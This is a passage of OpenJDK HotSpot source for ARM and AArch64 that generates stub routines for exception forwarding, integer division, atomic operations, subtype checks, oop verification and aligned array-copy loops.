pop(RegisterSet(R4, R6) | RegisterSet(R8, R10) | altFP_7_11); #ifndef __SOFTFP__ __ fldmiad(SP, FloatRegisterSet(D8, 8), writeback); #endif __ pop(RegisterSet(FP) | RegisterSet(PC)); #endif // AARCH64 return start; } // (in) Rexception_obj: exception oop address generate_catch_exception() { StubCodeMark mark(this, "StubRoutines", "catch_exception"); address start = __ pc(); __ str(Rexception_obj, Address(Rthread, Thread::pending_exception_offset())); __ b(StubRoutines::_call_stub_return_address); return start; } // (in) Rexception_pc: return address address generate_forward_exception() { StubCodeMark mark(this, "StubRoutines", "forward exception"); address start = __ pc(); __ mov(c_rarg0, Rthread); __ mov(c_rarg1, Rexception_pc); __ call_VM_leaf(CAST_FROM_FN_PTR(address, SharedRuntime::exception_handler_for_return_address), c_rarg0, c_rarg1); __ ldr(Rexception_obj, Address(Rthread, Thread::pending_exception_offset())); const Register Rzero = __ zero_register(Rtemp); // Rtemp OK (cleared by above call) __ str(Rzero, Address(Rthread, Thread::pending_exception_offset())); #ifdef ASSERT // make sure exception is set { Label L; __ cbnz(Rexception_obj, L); __ stop("StubRoutines::forward exception: no pending exception (2)"); __ bind(L); } #endif // Verify that there is really a valid exception in RAX. __ verify_oop(Rexception_obj); __ jump(R0); // handler is returned in R0 by runtime function return start; } #ifndef AARCH64 // Integer division shared routine // Input: // R0 - dividend // R2 - divisor // Output: // R0 - remainder // R1 - quotient // Destroys: // R2 // LR address generate_idiv_irem() { Label positive_arguments, negative_or_zero, call_slow_path; Register dividend = R0; Register divisor = R2; Register remainder = R0; Register quotient = R1; Register tmp = LR; assert(dividend == remainder, "must be"); address start = __ pc(); // Check for special cases: divisor <= 0 or dividend < 0 __ cmp(divisor, 0); __ orrs(quotient, dividend, divisor, ne); __ b(negative_or_zero, le); __ bind(positive_arguments); // Save return address on stack to free one extra register __ push(LR); // Approximate the mamximum order of the quotient __ clz(tmp, dividend); __ clz(quotient, divisor); __ subs(tmp, quotient, tmp); __ mov(quotient, 0); // Jump to the appropriate place in the unrolled loop below __ ldr(PC, Address(PC, tmp, lsl, 2), pl); // If divisor is greater than dividend, return immediately __ pop(PC); // Offset table Label offset_table[32]; int i; for (i = 0; i <= 31; i++) { __ emit_address(offset_table[i]); } // Unrolled loop of 32 division steps for (i = 31; i >= 0; i--) { __ bind(offset_table[i]); __ cmp(remainder, AsmOperand(divisor, lsl, i)); __ sub(remainder, remainder, AsmOperand(divisor, lsl, i), hs); __ add(quotient, quotient, 1 << i, hs); } __ pop(PC); __ bind(negative_or_zero); // Find the combination of argument signs and jump to corresponding handler __ andr(quotient, dividend, 0x80000000, ne); __ orr(quotient, quotient, AsmOperand(divisor, lsr, 31), ne); __ add(PC, PC, AsmOperand(quotient, ror, 26), ne); __ str(LR, Address(Rthread, JavaThread::saved_exception_pc_offset())); // The leaf runtime function can destroy R0-R3 and R12 registers which are still alive RegisterSet saved_registers = RegisterSet(R3) | RegisterSet(R12); #if R9_IS_SCRATCHED // Safer to save R9 here since callers may have been written // assuming R9 survives. This is suboptimal but may not be worth // revisiting for this slow case. // save also R10 for alignment saved_registers = saved_registers | RegisterSet(R9, R10); #endif { // divisor == 0 FixedSizeCodeBlock zero_divisor(_masm, 8, true); __ push(saved_registers); __ mov(R0, Rthread); __ mov(R1, LR); __ mov(R2, SharedRuntime::IMPLICIT_DIVIDE_BY_ZERO); __ b(call_slow_path); } { // divisor > 0 && dividend < 0 FixedSizeCodeBlock positive_divisor_negative_dividend(_masm, 8, true); __ push(LR); __ rsb(dividend, dividend, 0); __ bl(positive_arguments); __ rsb(remainder, remainder, 0); __ rsb(quotient, quotient, 0); __ pop(PC); } { // divisor < 0 && dividend > 0 FixedSizeCodeBlock negative_divisor_positive_dividend(_masm, 8, true); __ push(LR); __ rsb(divisor, divisor, 0); __ bl(positive_arguments); __ rsb(quotient, quotient, 0); __ pop(PC); } { // divisor < 0 && dividend < 0 FixedSizeCodeBlock negative_divisor_negative_dividend(_masm, 8, true); __ push(LR); __ rsb(dividend, dividend, 0); __ rsb(divisor, divisor, 0); __ bl(positive_arguments); __ rsb(remainder, remainder, 0); __ pop(PC); } __ bind(call_slow_path); __ call(CAST_FROM_FN_PTR(address, SharedRuntime::continuation_for_implicit_exception)); __ pop(saved_registers); __ bx(R0); return start; } // As per atomic.hpp the Atomic read-modify-write operations must be logically implemented as: // <fence>; <op>; <membar StoreLoad|StoreStore> // But for load-linked/store-conditional based systems a fence here simply means // no load/store can be reordered with respect to the initial load-linked, so we have: // <membar storeload|loadload> ; load-linked; <op>; store-conditional; <membar storeload|storestore> // There are no memory actions in <op> so nothing further is needed. // // So we define the following for convenience: #define MEMBAR_ATOMIC_OP_PRE \ MacroAssembler::Membar_mask_bits(MacroAssembler::StoreLoad|MacroAssembler::LoadLoad) #define MEMBAR_ATOMIC_OP_POST \ MacroAssembler::Membar_mask_bits(MacroAssembler::StoreLoad|MacroAssembler::StoreStore) // Note: JDK 9 only supports ARMv7+ so we always have ldrexd available even though the // code below allows for it to be otherwise. The else clause indicates an ARMv5 system // for which we do not support MP and so membars are not necessary. This ARMv5 code will // be removed in the future. // Support for jint Atomic::add(jint add_value, volatile jint *dest) // // Arguments : // // add_value: R0 // dest: R1 // // Results: // // R0: the new stored in dest // // Overwrites: // // R1, R2, R3 // address generate_atomic_add() { address start; StubCodeMark mark(this, "StubRoutines", "atomic_add"); Label retry; start = __ pc(); Register addval = R0; Register dest = R1; Register prev = R2; Register ok = R2; Register newval = R3; if (VM_Version::supports_ldrex()) { __ membar(MEMBAR_ATOMIC_OP_PRE, prev); __ bind(retry); __ ldrex(newval, Address(dest)); __ add(newval, addval, newval); __ strex(ok, newval, Address(dest)); __ cmp(ok, 0); __ b(retry, ne); __ mov (R0, newval); __ membar(MEMBAR_ATOMIC_OP_POST, prev); } else { __ bind(retry); __ ldr (prev, Address(dest)); __ add(newval, addval, prev); __ atomic_cas_bool(prev, newval, dest, 0, noreg/*ignored*/); __ b(retry, ne); __ mov (R0, newval); } __ bx(LR); return start; } // Support for jint Atomic::xchg(jint exchange_value, volatile jint *dest) // // Arguments : // // exchange_value: R0 // dest: R1 // // Results: // // R0: the value previously stored in dest // // Overwrites: // // R1, R2, R3 // address generate_atomic_xchg() { address start; StubCodeMark mark(this, "StubRoutines", "atomic_xchg"); start = __ pc(); Register newval = R0; Register dest = R1; Register prev = R2; Label retry; if (VM_Version::supports_ldrex()) { Register ok=R3; __ membar(MEMBAR_ATOMIC_OP_PRE, prev); __ bind(retry); __ ldrex(prev, Address(dest)); __ strex(ok, newval, Address(dest)); __ cmp(ok, 0); __ b(retry, ne); __ mov (R0, prev); __ membar(MEMBAR_ATOMIC_OP_POST, prev); } else { __ bind(retry); __ ldr (prev, Address(dest)); __ atomic_cas_bool(prev, newval, dest, 0, noreg/*ignored*/); __ b(retry, ne); __ mov (R0, prev); } __ bx(LR); return start; } // Support for jint Atomic::cmpxchg(jint exchange_value, volatile jint *dest, jint compare_value) // // Arguments : // // compare_value: R0 // exchange_value: R1 // dest: R2 // // Results: // // R0: the value previously stored in dest // // Overwrites: // // R0, R1, R2, R3, Rtemp // address generate_atomic_cmpxchg() { address start; StubCodeMark mark(this, "StubRoutines", "atomic_cmpxchg"); start = __ pc(); Register cmp = R0; Register newval = R1; Register dest = R2; Register temp1 = R3; Register temp2 = Rtemp; // Rtemp free (native ABI) __ membar(MEMBAR_ATOMIC_OP_PRE, temp1); // atomic_cas returns previous value in R0 __ atomic_cas(temp1, temp2, cmp, newval, dest, 0); __ membar(MEMBAR_ATOMIC_OP_POST, temp1); __ bx(LR); return start; } // Support for jlong Atomic::cmpxchg(jlong exchange_value, volatile jlong *dest, jlong compare_value) // reordered before by a wrapper to (jlong compare_value, jlong exchange_value, volatile jlong *dest) // // Arguments : // // compare_value: R1 (High), R0 (Low) // exchange_value: R3 (High), R2 (Low) // dest: SP+0 // // Results: // // R0:R1: the value previously stored in dest // // Overwrites: // address generate_atomic_cmpxchg_long() { address start; StubCodeMark mark(this, "StubRoutines", "atomic_cmpxchg_long"); start = __ pc(); Register cmp_lo = R0; Register cmp_hi = R1; Register newval_lo = R2; Register newval_hi = R3; Register addr = Rtemp; /* After load from stack */ Register temp_lo = R4; Register temp_hi = R5; Register temp_result = R8; assert_different_registers(cmp_lo, newval_lo, temp_lo, addr, temp_result, R7); assert_different_registers(cmp_hi, newval_hi, temp_hi, addr, temp_result, R7); __ membar(MEMBAR_ATOMIC_OP_PRE, Rtemp); // Rtemp free (native ABI) // Stack is unaligned, maintain double word alignment by pushing // odd number of regs. __ push(RegisterSet(temp_result) | RegisterSet(temp_lo, temp_hi)); __ ldr(addr, Address(SP, 12)); // atomic_cas64 returns previous value in temp_lo, temp_hi __ atomic_cas64(temp_lo, temp_hi, temp_result, cmp_lo, cmp_hi, newval_lo, newval_hi, addr, 0); __ mov(R0, temp_lo); __ mov(R1, temp_hi); __ pop(RegisterSet(temp_result) | RegisterSet(temp_lo, temp_hi)); __ membar(MEMBAR_ATOMIC_OP_POST, Rtemp); // Rtemp free (native ABI) __ bx(LR); return start; } address generate_atomic_load_long() { address start; StubCodeMark mark(this, "StubRoutines", "atomic_load_long"); start = __ pc(); Register result_lo = R0; Register result_hi = R1; Register src = R0; if (!os::is_MP()) { __ ldmia(src, RegisterSet(result_lo, result_hi)); __ bx(LR); } else if (VM_Version::supports_ldrexd()) { __ ldrexd(result_lo, Address(src)); __ clrex(); // FIXME: safe to remove? __ bx(LR); } else { __ stop("Atomic load(jlong) unsupported on this platform"); __ bx(LR); } return start; } address generate_atomic_store_long() { address start; StubCodeMark mark(this, "StubRoutines", "atomic_store_long"); start = __ pc(); Register newval_lo = R0; Register newval_hi = R1; Register dest = R2; Register scratch_lo = R2; Register scratch_hi = R3; /* After load from stack */ Register result = R3; if (!os::is_MP()) { __ stmia(dest, RegisterSet(newval_lo, newval_hi)); __ bx(LR); } else if (VM_Version::supports_ldrexd()) { __ mov(Rtemp, dest); // get dest to Rtemp Label retry; __ bind(retry); __ ldrexd(scratch_lo, Address(Rtemp)); __ strexd(result, R0, Address(Rtemp)); __ rsbs(result, result, 1); __ b(retry, eq); __ bx(LR); } else { __ stop("Atomic store(jlong) unsupported on this platform"); __ bx(LR); } return start; } #endif // AARCH64 #ifdef COMPILER2 // Support for uint StubRoutine::Arm::partial_subtype_check( Klass sub, Klass super ); // Arguments : // // ret : R0, returned // icc/xcc: set as R0 (depending on wordSize) // sub : R1, argument, not changed // super: R2, argument, not changed // raddr: LR, blown by call address generate_partial_subtype_check() { __ align(CodeEntryAlignment); StubCodeMark mark(this, "StubRoutines", "partial_subtype_check"); address start = __ pc(); // based on SPARC check_klass_subtype_[fast|slow]_path (without CompressedOops) // R0 used as tmp_reg (in addition to return reg) Register sub_klass = R1; Register super_klass = R2; Register tmp_reg2 = R3; Register tmp_reg3 = R4; #define saved_set tmp_reg2, tmp_reg3 Label L_loop, L_fail; int sc_offset = in_bytes(Klass::secondary_super_cache_offset()); // fast check should be redundant // slow check { __ raw_push(saved_set); // a couple of useful fields in sub_klass: int ss_offset = in_bytes(Klass::secondary_supers_offset()); // Do a linear scan of the secondary super-klass chain. // This code is rarely used, so simplicity is a virtue here. inc_counter_np(SharedRuntime::_partial_subtype_ctr, tmp_reg2, tmp_reg3); Register scan_temp = tmp_reg2; Register count_temp = tmp_reg3; // We will consult the secondary-super array. __ ldr(scan_temp, Address(sub_klass, ss_offset)); Register search_key = super_klass; // Load the array length. __ ldr_s32(count_temp, Address(scan_temp, Array<Klass*>::length_offset_in_bytes())); __ add(scan_temp, scan_temp, Array<Klass*>::base_offset_in_bytes()); __ add(count_temp, count_temp, 1); // Top of search loop __ bind(L_loop); // Notes: // scan_temp starts at the array elements // count_temp is 1+size __ subs(count_temp, count_temp, 1); __ b(L_fail, eq); // not found in the array // Load next super to check // In the array of super classes elements are pointer sized. int element_size = wordSize; __ ldr(R0, Address(scan_temp, element_size, post_indexed)); // Look for Rsuper_klass on Rsub_klass's secondary super-class-overflow list __ subs(R0, R0, search_key); // set R0 to 0 on success (and flags to eq) // A miss means we are NOT a subtype and need to keep looping __ b(L_loop, ne); // Falling out the bottom means we found a hit; we ARE a subtype // Success. Cache the super we found and proceed in triumph. __ str(super_klass, Address(sub_klass, sc_offset)); // Return success // R0 is already 0 and flags are already set to eq __ raw_pop(saved_set); __ ret(); // Return failure __ bind(L_fail); #ifdef AARCH64 // count_temp is 0, can't use ZR here __ adds(R0, count_temp, 1); // sets the flags #else __ movs(R0, 1); // sets the flags #endif __ raw_pop(saved_set); __ ret(); } return start; } #undef saved_set #endif // COMPILER2 //---------------------------------------------------------------------------------------------------- // Non-destructive plausibility checks for oops address generate_verify_oop() { StubCodeMark mark(this, "StubRoutines", "verify_oop"); address start = __ pc(); // Incoming arguments: // // R0: error message (char* ) // R1: address of register save area // R2: oop to verify // // All registers are saved before calling this stub. However, condition flags should be saved here. const Register oop = R2; const Register klass = R3; const Register tmp1 = R6; const Register tmp2 = R8; const Register flags = Rtmp_save0; // R4/R19 const Register ret_addr = Rtmp_save1; // R5/R20 assert_different_registers(oop, klass, tmp1, tmp2, flags, ret_addr, R7); Label exit, error; InlinedAddress verify_oop_count((address) StubRoutines::verify_oop_count_addr()); #ifdef AARCH64 __ mrs(flags, Assembler::SysReg_NZCV); #else __ mrs(Assembler::CPSR, flags); #endif // AARCH64 __ ldr_literal(tmp1, verify_oop_count); __ ldr_s32(tmp2, Address(tmp1)); __ add(tmp2, tmp2, 1); __ str_32(tmp2, Address(tmp1)); // make sure object is 'reasonable' __ cbz(oop, exit); // if obj is NULL it is ok // Check if the oop is in the right area of memory // Note: oop_mask and oop_bits must be updated if the code is saved/reused const address oop_mask = (address) Universe::verify_oop_mask(); const address oop_bits = (address) Universe::verify_oop_bits(); __ mov_address(tmp1, oop_mask, symbolic_Relocation::oop_mask_reference); __ andr(tmp2, oop, tmp1); __ mov_address(tmp1, oop_bits, symbolic_Relocation::oop_bits_reference); __ cmp(tmp2, tmp1); __ b(error, ne); // make sure klass is 'reasonable' __ load_klass(klass, oop); // get klass __ cbz(klass, error); // if klass is NULL it is broken // return if everything seems ok __ bind(exit); #ifdef AARCH64 __ msr(Assembler::SysReg_NZCV, flags); #else __ msr(Assembler::CPSR_f, flags); #endif // AARCH64 __ ret(); // handle errors __ bind(error); __ mov(ret_addr, LR); // save return address // R0: error message // R1: register save area __ call(CAST_FROM_FN_PTR(address, MacroAssembler::debug)); __ mov(LR, ret_addr); __ b(exit); __ bind_literal(verify_oop_count); return start; } //---------------------------------------------------------------------------------------------------- // Array copy stubs // // Generate overlap test for array copy stubs // // Input: // R0 - array1 // R1 - array2 // R2 - element count, 32-bit int // // input registers are preserved // void array_overlap_test(address no_overlap_target, int log2_elem_size, Register tmp1, Register tmp2) { assert(no_overlap_target != NULL, "must be generated"); array_overlap_test(no_overlap_target, NULL, log2_elem_size, tmp1, tmp2); } void array_overlap_test(Label& L_no_overlap, int log2_elem_size, Register tmp1, Register tmp2) { array_overlap_test(NULL, &L_no_overlap, log2_elem_size, tmp1, tmp2); } void array_overlap_test(address no_overlap_target, Label* NOLp, int log2_elem_size, Register tmp1, Register tmp2) { const Register from = R0; const Register to = R1; const Register count = R2; const Register to_from = tmp1; // to - from #ifndef AARCH64 const Register byte_count = (log2_elem_size == 0) ? count : tmp2; // count << log2_elem_size #endif // AARCH64 assert_different_registers(from, to, count, tmp1, tmp2); // no_overlap version works if 'to' lower (unsigned) than 'from' // and or 'to' more than (count*size) from 'from' BLOCK_COMMENT("Array Overlap Test:"); __ subs(to_from, to, from); #ifndef AARCH64 if (log2_elem_size != 0) { __ mov(byte_count, AsmOperand(count, lsl, log2_elem_size)); } #endif // !AARCH64 if (NOLp == NULL) __ b(no_overlap_target,lo); else __ b((*NOLp), lo); #ifdef AARCH64 __ subs(ZR, to_from, count, ex_sxtw, log2_elem_size); #else __ cmp(to_from, byte_count); #endif // AARCH64 if (NOLp == NULL) __ b(no_overlap_target, ge); else __ b((*NOLp), ge); } #ifdef AARCH64 // TODO-AARCH64: revise usages of bulk_* methods (probably ldp`s and stp`s should interlace) // Loads [from, from + count*wordSize) into regs[0], regs[1], ..., regs[count-1] // and increases 'from' by count*wordSize. void bulk_load_forward(Register from, const Register regs[], int count) { assert (count > 0 && count % 2 == 0, "count must be positive even number"); int bytes = count * wordSize; int offset = 0; __ ldp(regs[0], regs[1], Address(from, bytes, post_indexed)); offset += 2*wordSize; for (int i = 2; i < count; i += 2) { __ ldp(regs[i], regs[i+1], Address(from, -bytes + offset)); offset += 2*wordSize; } assert (offset == bytes, "must be"); } // Stores regs[0], regs[1], ..., regs[count-1] to [to, to + count*wordSize) // and increases 'to' by count*wordSize. void bulk_store_forward(Register to, const Register regs[], int count) { assert (count > 0 && count % 2 == 0, "count must be positive even number"); int bytes = count * wordSize; int offset = 0; __ stp(regs[0], regs[1], Address(to, bytes, post_indexed)); offset += 2*wordSize; for (int i = 2; i < count; i += 2) { __ stp(regs[i], regs[i+1], Address(to, -bytes + offset)); offset += 2*wordSize; } assert (offset == bytes, "must be"); } // Loads [from - count*wordSize, from) into regs[0], regs[1], ..., regs[count-1] // and decreases 'from' by count*wordSize. // Note that the word with lowest address goes to regs[0]. void bulk_load_backward(Register from, const Register regs[], int count) { assert (count > 0 && count % 2 == 0, "count must be positive even number"); int bytes = count * wordSize; int offset = 0; for (int i = count - 2; i > 0; i -= 2) { offset += 2*wordSize; __ ldp(regs[i], regs[i+1], Address(from, -offset)); } offset += 2*wordSize; __ ldp(regs[0], regs[1], Address(from, -bytes, pre_indexed)); assert (offset == bytes, "must be"); } // Stores regs[0], regs[1], ..., regs[count-1] into [to - count*wordSize, to) // and decreases 'to' by count*wordSize. // Note that regs[0] value goes into the memory with lowest address. void bulk_store_backward(Register to, const Register regs[], int count) { assert (count > 0 && count % 2 == 0, "count must be positive even number"); int bytes = count * wordSize; int offset = 0; for (int i = count - 2; i > 0; i -= 2) { offset += 2*wordSize; __ stp(regs[i], regs[i+1], Address(to, -offset)); } offset += 2*wordSize; __ stp(regs[0], regs[1], Address(to, -bytes, pre_indexed)); assert (offset == bytes, "must be"); } #endif // AARCH64 // TODO-AARCH64: rearrange in-loop prefetches: // probably we should choose between "prefetch-store before or after store", not "before or after load". void prefetch(Register from, Register to, int offset, int to_delta = 0) { __ prefetch_read(Address(from, offset)); #ifdef AARCH64 // Next line commented out to avoid significant loss of performance in memory copy - JDK-8078120 // __ prfm(pstl1keep, Address(to, offset + to_delta)); #endif // AARCH64 } // Generate the inner loop for forward aligned array copy // // Arguments // from: src address, 64 bits aligned // to: dst address, wordSize aligned // count: number of elements (32-bit int) // bytes_per_count: number of bytes for each unit of 'count' // // Return the minimum initial value for count // // Notes: // - 'from' aligned on 64-bit (recommended for 32-bit ARM in case this speeds up LDMIA, required for AArch64) // - 'to' aligned on wordSize // - 'count' must be greater or equal than the returned value // // Increases 'from' and 'to' by count*bytes_per_count. // // Scratches 'count', R3. // On AArch64 also scratches R4-R10; on 32-bit ARM R4-R10 are preserved (saved/restored). // int generate_forward_aligned_copy_loop(Register from, Register to, Register count, int bytes_per_count) { assert (from == R0 && to == R1 && count == R2, "adjust the implementation below"); const int bytes_per_loop = 8*wordSize; // 8 registers are read and written on every loop iteration arraycopy_loop_config *config=&arraycopy_configurations[ArmCopyPlatform].forward_aligned; int pld_offset = config->pld_distance; const int count_per_loop = bytes_per_loop / bytes_per_count; #ifndef AARCH64 bool split_read= config->split_ldm; bool split_write= config->split_stm; // XXX optim: use VLDM/VSTM when available (Neon) with PLD // NEONCopyPLD // PLD [r1, #0xC0] // VLDM r1!,{d0-d7} // VSTM r0!,{d0-d7} // SUBS r2,r2,#0x40 // BGE NEONCopyPLD __ push(RegisterSet(R4,R10)); #endif // !AARCH64 const bool prefetch_before = pld_offset < 0; const bool prefetch_after = pld_offset > 0; Label L_skip_pld; // predecrease to exit when there is less than count_per_loop __ sub_32(count, count, count_per_loop); if (pld_offset != 0) { pld_offset = (pld_offset < 0) ? -pld_offset : pld_offset; prefetch(from, to, 0); if (prefetch_before) { // If prefetch is done ahead, final PLDs that overflow the // copied area can be easily avoided. 'count' is predecreased // by the prefetch distance to optimize the inner loop and the // outer loop skips the PLD. __ subs_32(count, count, (bytes_per_loop+pld_offset)/bytes_per_count); // skip prefetch for small copies __ b(L_skip_pld, lt); } int offset = ArmCopyCacheLineSize; while (offset <= pld_offset) { prefetch(from, to, offset); offset += ArmCopyCacheLineSize; }; } #ifdef AARCH64 const Register data_regs[8] = {R3, R4, R5, R6, R7, R8, R9, R10}; #endif // AARCH64 { // LDM (32-bit ARM) / LDP (AArch64) copy of 'bytes_per_loop' bytes // 32-bit ARM note: we have tried implementing loop unrolling to skip one // PLD with 64 bytes cache line but the gain was not significant. Label L_copy_loop; __ align(OptoLoopAlignment); __ BIND(L_copy_loop); if (prefetch_before) { prefetch(from, to, bytes_per_loop + pld_offset); __ BIND(L_skip_pld); } #ifdef AARCH64 bulk_load_forward(from, data_regs, 8); #else if (split_read) { // Split the register set in two sets so that there is less // latency between LDM and STM (R3-R6 available while R7-R10 // still loading) and less register locking issue when iterating // on the first LDM. __ ldmia(from, RegisterSet(R3, R6), writeback); __ ldmia(from, RegisterSet(R7, R10), writeback); } else { __ ldmia(from, RegisterSet(R3, R10), writeback); } #endif // AARCH64 __ subs_32(count, count, count_per_loop); if (prefetch_after) { prefetch(from, to, pld_offset, bytes_per_loop); } #ifdef AARCH64 bulk_store_forward(to, data_regs, 8); #else if (split_write) { __ stmia(to, RegisterSet(R3, R6), writeback); __ stmia(to, RegisterSet(R7, R10), writeback); } else { __ stmia(to, RegisterSet(R3, R10), writeback); } #endif // AARCH64 __ b(L_copy_loop, ge); if (prefetch_before) { // the inner loop may end earlier, allowing to skip PLD for the last iterations __ cmn_32(count, (bytes_per_loop + pld_offset)/bytes_per_count); __ b(L_skip_pld, ge); } } BLOCK_COMMENT("Remaining bytes:"); // still 0..bytes_per_loop-1 aligned bytes to copy, count already decreased by (at least) bytes_per_loop bytes // __ add(count, count, ...); // addition useless for the bit tests assert (pld_offset % bytes_per_loop == 0, "decreasing count by pld_offset before loop must not change tested bits"); #ifdef AARCH64 assert (bytes_per_loop == 64, "adjust the code below"); assert (bytes_per_count <= 8, "adjust the code below"); { Label L; __ tbz(count, exact_log2(32/bytes_per_count), L); bulk_load_forward(from, data_regs, 4); bulk_store_forward(to, data_regs, 4); __ bind(L); } { Label L; __ tbz(count, exact_log2(16/bytes_per_count), L); bulk_load_forward(from, data_regs, 2); bulk_store_forward(to, data_regs, 2); __ bind(L); } { Label L; __ tbz(count, exact_log2(8/bytes_per_count), L); __ ldr(R3, Address(from, 8, post_indexed)); __ str(R3, Address(to, 8, post_indexed)); __ bind(L); } if (bytes_per_count <= 4) { Label L; __ tbz(count, exact_log2(4/bytes_per_count), L); __ ldr_w(R3, Address(from, 4, post_indexed)); __ str_w(R3, Address(to, 4, post_indexed)); __ bind(L); } if (bytes_per_count <= 2) { Label L; __ tbz(count, exact_log2(2/bytes_per_count), L); __ ldrh(R3, Address(from, 2, post_indexed)); __ strh(R3, Address(to, 2, post_indexed)); __ bind(L); } if (bytes_per_count <= 1) { Label L; __ tbz(count, 0, L); __ ldrb(R3, Address(from, 1, post_indexed)); __ strb(R3, Address(to, 1, post_indexed)); __ bind(L); } #else __ tst(count, 16 / bytes_per_count); __ ldmia(from, RegisterSet(R3, R6), writeback, ne); // copy 16 bytes __ stmia(to, RegisterSet(R3, R6), writeback, ne); __ tst(count, 8 / bytes_per_count); __ ldmia(from, RegisterSet(R3, R4), writeback, ne); // copy 8 bytes __ stmia(to, RegisterSet(R3, R4), writeback, ne); if (bytes_per_count <= 4) { __ tst(count, 4 / bytes_per_count); __ ldr(R3, Address(from, 4, post_indexed), ne); // copy 4 bytes __ str(R3, Address(to, 4, post_indexed), ne); } if (bytes_per_count <= 2) { __ tst(count, 2 / bytes_per_count); __ ldrh(R3, Address(from, 2, post_indexed), ne); // copy 2 bytes __ strh(R3, Address(to, 2, post_indexed), ne); } if (bytes_per_count == 1) { __ tst(count, 1); __ ldrb(R3, Address(from, 1, post_indexed), ne); __ strb(R3, Address(to, 1, post_indexed), ne); } __ pop(RegisterSet(R4,R10)); #endif // AARCH64 return count_per_loop; } // Generate the inner loop for backward aligned array copy // // Arguments // end_from: src end address, 64 bits aligned // end_to: dst end address, wordSize aligned // count: number of elements (32-bit int) // bytes_per_count: number of bytes for each unit of 'count' // // Return the minimum initial value for count // // Notes: // - 'end_from' aligned on 64-bit (recommended for 32-bit ARM in case this speeds up LDMIA, required for AArch64) // - 'end_to' aligned on wordSize // - 'count' must be greater or equal than the returned value // // Decreases 'end_from' and 'end_to' by count*bytes_per_count. // // Scratches 'count', R3. // On AArch64 also scratches R4-R10; on 32-bit ARM R4-R10 are preserved (saved/restored). // int generate_backward_aligned_copy_loop(Register end_from, Register end_to, Register count, int bytes_per_count) { assert (end_from == R0 && end_to == R1 && count == R2, "adjust the implementation below"); const int bytes_per_loop = 8*wordSize; // 8 registers are read and written on every loop iteration const int count_per_loop = bytes_per_loop / bytes_per_count; arraycopy_loop_config *config=&arraycopy_configurations[ArmCopyPlatform].backward_aligned; int pld_offset = config->pld_distance; #ifndef AARCH64 bool split_read= config->split_ldm; bool split_write= config->split_stm; // See the forward copy variant for additional comments. __ push(RegisterSet(R4,R10)); #endif // !AARCH64 __ sub_32(count, count, count_per_loop); const bool prefetch_before = pld_offset < 0; const bool prefetch_after = pld_offset > 0; Label L_skip_pld; if (pld_offset != 0) { pld_offset = (pld_offset < 0) ? -pld_offset : pld_offset; prefetch(end_from, end_to, -wordSize); if (prefetch_before) { __ subs_32(count, count, (bytes_per_loop + pld_offset) / bytes_per_count); __ b(L_skip_pld, lt); } int offset = ArmCopyCacheLineSize; while (offset <= pld_offset) { prefetch(end_from, end_to, -(wordSize + offset)); offset += ArmCopyCacheLineSize; }; } #ifdef AARCH64 const Register data_regs[8] = {R3, R4, R5, R6, R7, R8, R9, R10}; #endif // AARCH64 { // LDM (32-bit ARM) / LDP (AArch64) copy of 'bytes_per_loop' bytes // 32-bit ARM note: we have tried implementing loop unrolling to skip one // PLD with 64 bytes cache line but the gain was not significant. Label L_copy_loop; __ align(OptoLoopAlignment); __ BIND(L_copy_loop); if (prefetch_before) { prefetch(end_from, end_to, -(wordSize + bytes_per_loop + pld_offset)); __ BIND(L_skip_pld); } #ifdef AARCH64 bulk_load_backward(end_from, data_regs, 8); #else if (split_read) { __ ldmdb(end_from, RegisterSet(R7, R10), writeback); __ ldmdb(end_from, RegisterSet(R3, R6), writeback); } else { __ ldmdb(end_from, RegisterSet(R3, R10), writeback); } #endif // AARCH64 __ subs_32(count, count, count_per_loop); if (prefetch_after) { prefetch(end_from, end_to, -(wordSize + pld_offset), -bytes_per_loop); } #ifdef AARCH64 bulk_store_backward(end_to, data_regs, 8); #else if (split_write) { __ stmdb(end_to, RegisterSet(R7, R10), writeback); __ stmdb(end_to, RegisterSet(R3, R6), writeback); } else { __ stmdb(end_to, RegisterSet(R3, R10), writeback); } #endif // AARCH64 __ b(L_copy_loop, ge); if (prefetch_before) { __ cmn_32(count, (bytes_per_loop + pld_offset)/bytes_per_count); __ b(L_skip_pld, ge); } } BLOCK_COMMENT("Remaining bytes:"); // still 0..bytes_per_loop-1 aligned bytes to copy, count already decreased by (at least) bytes_per_loop bytes // __ add(count, count, ...); // addition useless for the bit tests assert (pld_offset % bytes_per_loop == 0, "decreasing count by pld_offset before loop must not change tested bits"); #ifdef AARCH64 assert (bytes_per_loop == 64, "adjust the code below"); assert (bytes_per_count <= 8, "adjust the code below"); { Label L; __ tbz(count, exact_log2(32/bytes_per_count), L); bulk_load_backward(end_from, data_regs, 4); bulk_store_backward(end_to, data_regs, 4); __ bind(L); } { Label L; __ tbz(count, exact_log2(16/bytes_per_count), L); bulk_load_backward(end_from, data_regs, 2); bulk_store_backward(end_to, data_regs, 2); __ bind(L); } { Label L; __ tbz(count, exact_log2(8/bytes_per_count), L); __ ldr(R3, Address(end_from, -8, pre_indexed)); __ str(R3, Address(end_to, -8, pre_indexed)); __ bind(L); } if (bytes_per_count <= 4) { Label L; __ tbz(count, exact_log2(4/bytes_per_count), L); __ ldr_w(R3, Address(end_from, -4, pre_indexed)); __ str_w(R3, Address(end_to, -4, pre_indexed)); __ bind(L); } if (bytes_per_count <= 2) { Label L; __ tbz(count, exact_log2(2/bytes_per_count), L); __ ldrh(R3, Address(end_from, -2, pre_indexed)); __ strh(R3, Address(end_to, -2, pre_indexed)); __ bind(L); } if (bytes_per_count <= 1) { Label L; __ tbz(count, 0, L); __ ldrb(R3, Address(end_from, -1, pre_indexed)); __ strb(R3, Address(end_to, -1, pre_indexed)); __ bind(L); } #else __ tst(count, 16 / bytes_per_count); __ ldmdb(end_from, RegisterSet(R3, R6), writeback, ne); // copy 16 bytes __ stmdb(end_to, RegisterSet(R3, R6), writeback, ne); __ tst(count, 8 / bytes_per_count); __ ldmdb(end_from, RegisterSet(R3, R4), writeback, ne); // copy 8 bytes __ stmdb(end_to, RegisterSet(R3, R4), writeback, ne); if (bytes_per_count <= 4) { __ tst(count, 4 / bytes_per_count); __ ldr(R3, Address(end_from, -4, pre_indexed), ne); // copy 4 bytes __ str(R3, Address(end_to, -4, pre_indexed), ne); } if (bytes_per_count <= 2) { __ tst(count, 2 / bytes_per_count); __ ldrh(R3, Address(end_from, -2, pre_indexed), ne); // copy 2 bytes __ strh(R3, Address(end_to, -2, pre_indexed), ne); } if (bytes_per_count == 1) { __ tst(count, 1); __ ldrb(R3, Address(end_from, -1, pre_indexed), ne); __ strb(R3, Address(end_to, -1, pre_indexed), 